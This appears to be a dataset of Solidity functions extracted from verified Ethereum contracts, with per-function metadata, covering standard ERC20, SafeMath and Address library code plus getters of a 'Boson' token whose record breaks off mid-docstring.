bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 4946, 5206 ] }
18,561
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
_mint
function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); }
/** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 5545, 5812 ] }
18,562
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
_burn
function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); }
/** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 6034, 6301 ] }
18,563
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public vie...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additio...
NatSpecMultiLine
_burnFrom
function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); }
/** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The ...
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 6686, 6945 ] }
18,564
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. ...
/** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */
NatSpecMultiLine
name
function name() public view returns (string) { return _name; }
/** * @return the name of the token. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 328, 406 ] }
18,565
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. ...
/** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */
NatSpecMultiLine
symbol
function symbol() public view returns (string) { return _symbol; }
/** * @return the symbol of the token. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 464, 546 ] }
18,566
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. ...
/** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @return the number of decimals of the token. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 616, 701 ] }
18,567
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20Burnable
contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decr...
/** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */
NatSpecMultiLine
burn
function burn(uint256 value) public { _burn(msg.sender, value); }
/** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 151, 232 ] }
18,568
APPCrowdsale
PPToken.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
ERC20Burnable
contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decr...
/** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */
NatSpecMultiLine
burnFrom
function burnFrom(address from, uint256 value) public { _burnFrom(from, value); }
/** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 480, 577 ] }
18,569
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 251, 437 ] }
18,570
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 707, 848 ] }
18,571
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 1180, 1377 ] }
18,572
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 1623, 2099 ] }
18,573
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 2562, 2699 ] }
18,574
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; ...
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3224, 3574 ] }
18,575
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consumi...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 4026, 4161 ] }
18,576
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 4675, 4846 ] }
18,577
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codeha...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 606, 1230 ] }
18,578
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 2160, 2562 ] }
18,579
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3318, 3496 ] }
18,580
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3721, 3922 ] }
18,581
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 4292, 4523 ] }
18,582
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 4774, 5095 ] }
18,583
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 94, 154 ] }
18,584
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 237, 310 ] }
18,585
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 534, 616 ] }
18,586
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 895, 983 ] }
18,587
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 1647, 1726 ] }
18,588
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 2039, 2141 ] }
18,589
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 2226, 2314 ] }
18,590
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 2428, 2520 ] }
18,591
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 3153, 3241 ] }
18,592
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
